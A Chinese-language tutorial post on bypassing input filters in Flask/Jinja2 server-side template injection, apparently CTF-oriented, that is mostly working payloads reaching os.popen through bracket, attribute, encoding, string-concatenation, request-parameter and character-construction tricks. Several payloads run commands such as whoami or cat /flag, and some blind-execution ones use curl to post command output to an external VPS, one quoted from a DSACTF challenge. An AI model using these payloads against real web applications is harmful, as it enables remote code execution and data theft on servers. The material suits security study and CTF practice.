目录
flask-ssti-绕过
上节简述了ssti漏洞的形成以及ssti漏洞的利用方法,这次主要就是对当ssti出现并存在过滤的时候如何进行绕过进行描述。
绕过点
.
在ssti利用链中充当着获取属性的作用,也就是说当过滤点的时候,我们无法直接获取对象的属性
-
在jinja2中,可以使用中括号来获取属性
''.__class__.__mor__.__subclasses__() # 转换后: ''['__class__']['__mro__'][-1]['__subclasses__']()
也是成功得到回显(就是不知道为什么没显示)
绕过中括号
中括号的在攻击链中是用来进行取键值的操作的,当然也可以担任上面绕过点的操作
-
操作属性
上面我们知道,当
.
被过滤的时候,可以使用中括号[]
来过滤,但是当中括号也被过滤的时候呢?使用
|attr('')
过滤''.__class__.__mor__ # 过滤点 ''|attr('__class__')|attr('__mor__')
-
获取列表 ,键值:
__getitem__
方法点
.
可以使用|attr
的过滤器绕过attr是attribute的缩写
操作列表:
''.__class__.__mor__.__subclasses__() # 过滤点(通过|attr过滤符过滤点) ''['__class__']['__mro__'][-1]['__subclasses__']() # 过滤中括号 ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(-1)|attr('__subclasses__')()
成功得到回显
操作字典:
主要是用在globals中来获取特点的函数,也可以用获取buildins
# flask中 {{url_for.__globals__['os'].popen('whoami').read()}} # 过滤点和中括号并获取globals所返回字典中的os对象 {{url_for|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('whoami')|attr('read')()}} # jinja2中 {{lipsum.__globals__['os'].popen('whoami').read()}} # 过滤处理 {{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('whoami')|attr('read')()}}
![](https://picture.libestor.top/ssti-flask/20221001143113.png) 成功得到回显 还可以使用的方法有:
get()
方法setdefault()
方法,它们可以获取键值以及不建议的pop()
方法 最后就是.
也可以用来获取字典的值,很多库都有这也特性 当.
没有被过滤,但是中括号和一些关键函数被过滤的时候可以偷个懒,使用.
```python {{lipsum.__globals__.os.popen('whoami').read()}}同样得到回显
过滤关键词
过滤关键词是防护ssti最好的方式之一(更好的方式是直接杜绝用户拼接),所以也是我们学习的重点之一
拼接
拼接有三种方法:直接拼接,加号拼接,\~号拼接和join过滤器拼接
注意需要作用于字符串,不能直接对类或方法名称使用
直接拼接
''.__class__ = ''['__cla''ss__']
加号拼接
''.__class__ = ''['__cla' + 'ss__']
\~号拼接
''.__class__ = ''['__cla'~'ss__']
{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
过滤器拼接:
('__clas','s__')|join
转置
''.__class__ = ''['__ssalc__'[::-1]]
#或者使用过滤器 "__ssalc__"|reverse
# 例子
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('imaohw'[::-1]).read()}}
# 使用过滤器
"__ssalc__"|reverse
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('imaohw'|reverse).read()}}
转置均得到结果
内置的str方法
''.__class__ = ""['__cTass__'.replace("T","l")]
''['X19jbGFzc19f'.decode('base64')] # 有问题
''['__CLASS__'.lower()]
#字符串的替换,还可以使用过滤器 "__claee__"|replace("ee","ss")
# 举例:
{{lipsum.__globals__.os.popen('dir'.lower()).read()}}
{{lipsum.__globals__.os.popen('who66i'.replace("66","am")).read()}}
{{lipsum.__globals__.os.popen('who66i'|replace("66","am")).read()}}
虽有结果,但是发现执行的时候不区分大小写,不过推测也不会有问题的
python字符串格式化绕过
''.__class__ = ''["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)]
# 举例
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}'.format(119,104,111,97,109,105)).read()}}
ASCII编码转换,ASCII码在线查询工具 (wxsnote.cn)
成功得到回显
利用十六进制
''.__class__ = ''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
# 举例
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('\x77\x68\x6F\x61\x6D\x69').read()}}
unicode编码绕过
CTF在线工具-ASCII编码转换|Unicode编码转换|Native编码转换|UTF-16|UTF-32 (hiencode.com)
# 举例
{{lipsum.__globals__.os.popen('whoami').read()}}
{{lipsum.__globals__.os.popen('\u0077\u0068\u006F\u0061\u006D\u0069').read()}}
顺利得到结果
利用chr函数转换
{% set chr=url_for.__globals__['__builtins__'].chr %} #{%set chr = x.__init__.__globals__['__builtins__'].chr%}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
测试未通过
使用request
request大部分时候都是被过滤的状态,可以考虑最后使用
当我们无法写入数据的时候,就可以考虑从其他地方引入数据,request就是最经典的一个方法
首先先学习下request的基本方法
request #request.__init__.__globals__['__builtins__']
request.args.x1 #get传参
request.values.x1 #所有参数
request.cookies #cookies参数
request.headers #请求头参数
request.form.x1 #post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
request.data #post传参 (Content-Type:a/b)
request.json #post传json (Content-Type: application/json)
简单引用一下例子
{{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
#然后首部设置Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
{{""[request["args"]["class"]][request["args"]["mro"]][1][request["args"]["subclass"]]()[286][request["args"]["init"]][request["args"]["globals"]]["os"]["popen"]("ls /")["read"]()}}
#post或者get传参 class=__class__&mro=__mro__&subclass=__subclasses__&init=__init__&globals=__globals__ (适用于过滤下划线)
现在通过这种方法来改造下前面的内容
{{lipsum.__globals__.os.popen('whoami').read()}}
# 上传内容?glo=__globals__&eval=os.popen('whoami').read()
{{lipsum[request["args"]["glo"]][request["args"]["glo"]]}}
{{x.__init__.__globals__[request['args']["x1"]].eval(request["args"]["x2"])}}
# x1=__builtins__&x2=__import__('os').popen('whoami').read()
过滤单双引号
最简单的方法就是使用request方法过滤
{{config.__class__.__init__.__globals__[request.args.os].popen(request.args.command).read()}}&os=os&command=cat /flag
使用chr过滤
{%set chr = x.__init__.__globals__.get(__builtins__).chr%}
{{x.__init__.__globals__[chr(111)%2bchr(115)][chr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)](chr(108)%2bchr(115)).read()}}#__globals__['os']['popen']('ls').read()
本地测试request的时候,jinja2会报错:显示未找到request(代码的request是由flask提供的。
过滤了双花括号
通常由两个可以选择的,一个简单的就是{ %print() %}
,然后在print中写入代码即可打印出来
{%print(x|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookie.getitem)|attr(request.cookies.builtins)|attr(request.cookies.getitem)(request.cookies.eval)(request.cookies.command))%}
#cookie: init=__init__;globals=__globals__;getitem=__getitem__;builtins=__builtins__;eval=eval;command=__import__("os").popen("cat /flag").read()
对上面的payload进行改造
{{lipsum.__globals__.os.popen('whoami').read()}}
{% print(lipsum.__globals__.os.popen('whoami').read()) %}}
也是成功得到结果
如果连print也过滤了,就可以使用判断语句来执行指令,不过需要用vps来接受数据
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://xx.xxx.xx.xx:8080/?i=ls /').read()=='p' %}1{% endif %} #python2 没测试过
这是一段DSACTF的payload
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`ls /`\"").read())%}success{%endif%}
{%if("".__class__.__bases__[0].__subclasses__()[133].__init__.__globals__["popen"]("curl 47.xxx.xxx.72:2333 -d \"`cat /f1ag`\"").read())%}success{%endif%}
# 举例
{%if(lipsum.__globals__.os.popen("curl x.x.x.x:6666 -d \"`whoami`\"").read())%}success{%endif%}
在linux上可以实现,windows上不行
构造字符
如果过滤十分苛刻的话,就只能使用构造字符,这个方法很麻烦,但是也能有用一些功能,比如直接用函数完成payload
()|select|string
()|select|string返回的内容是:
<generator object select_or_reject at 0x~~>
# 例如:
(()|select|string)[24] # 就表示_
这里是使用print打印出来的结果
{{(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]}} = "__class__"
过滤中括号可以转换为list然后取值
使用pop
或者__getitem__
例如:
dict(clas=a,s=b)|join
使用dict连接后会直接返回键连接后的字符串,上面的结果就是‘class’
注意pop,payload失败后需要重启环境
{% set po=dict(po=a,p=a)|join%} # 设置pop字符
{% set a=(()|select|string|list)|attr(po)(24)%} # 取出_下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} # 取出__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}#("_","_","init","_","_")|join() 实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} #取出__getitem__
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} # 取出builtins,当然可以分开成多个部分组合起来
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
# 这个payload是用来获取/flag的,命令执行需要改一下
# 参照此条修改
{{a.__init__.__globals__.__builtins__.eval("__import__('os').popen('whoami').read()")}}
# 修改一番
{% set po=dict(po=a,p=a)|join%} # 设置pop字符
{% set a=(()|select|string|list)|attr(po)(24)%} # 取出_下划线
# 如果有_ 可用,就直接写{% set a="_"%}
{% set ini=(a,a,dict(ini=a,t=b)|join,a,a)|join()%} # 取出__init__
{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%} #("_","_","init","_","_")|join() 实际上使用可以不用join后面的括号
{% set geti=(a,a,dict(ge=a,titem=a)|join,a,a)|join()%} #取出__getitem__
{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%} # 取出builtins,当然可以分开成多个部分组合起来
{% set ev=dict(e=a,v=a,a=a,l=l)|join()%}
{% set o=dict(o=a,s=a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd1=(a,a,dict(import=A)|join,a,a,)|join%} #也可以使用chr,不过会很长的 __import__
{% set cmd2=chr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%} # ('os')
{% set cmd3=chr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2b%}
{% set cmd=chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) %} # whoami
{% set cmd4=chr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)%2b%}
# 或者
{% set cmda=(cmd1,cmd2,cmd3,cmd,cmd4)|join%}
{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda)%} # os
# 或者
{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)("__import__('os').popen('whoami').read()")%}
{%print(e)%}
# 当然也可以使用~拼接部分,比如
{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda~")")%} # 也可以达到同样的效果
成功得到回显,所以只需要修改cmd的内容就可以使用
payload: 需要有set,join,attr,| chr,dict,, _(可以通过unicode得到),print(可选)字符才可以
如果无print的话,就需要修改cmd1到4的内容
{% set a="_"%}{% set ini=(a,a,dict(ini=a,t=b)|join,a,a)|join()%}{% set glo=(a,a,dict(glo=a,bals=a)|join,a,a)|join()%}{% set geti=(a,a,dict(ge=a,titem=a)|join,a,a)|join()%}{% set built=(a,a,dict(buil=a,tins=a)|join,a,a)|join()%}{% set ev=(e,v,a,l)|join()%}{% set o=dict(o=i,s=i)|join()%}{% set ev=dict(e=a,v=a,a=a,l=l)|join()%}{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}{% set chr=x.chr%}{% set cmd1=(a,a,dict(import=A)|join,a,a,)|join%}{% set cmd2=chr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%}{% set cmd3=chr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2b%}
{% set cmd=chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105) %}{% set cmd4=chr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2b%}{% set cmda=(cmd1,cmd2,cmd3,cmd,cmd4)|join%}{% set e=(q|attr(ini)|attr(glo)|attr(geti))(built)|attr(geti)(ev)(cmda~")")%}{%print(e)%}
上述payload通过unicode也可以得到同样的效果
dict(e=a)|join|count 绕过数字
dict(e=a)|join|count #1
dict(ee=a)|join|count #2
引用文章
SSTI进阶 | 沉铝汤的破站 (chenlvtang.top)
SSTI模板注入绕过(进阶篇)_yu22x的博客-CSDN博客_ssti绕过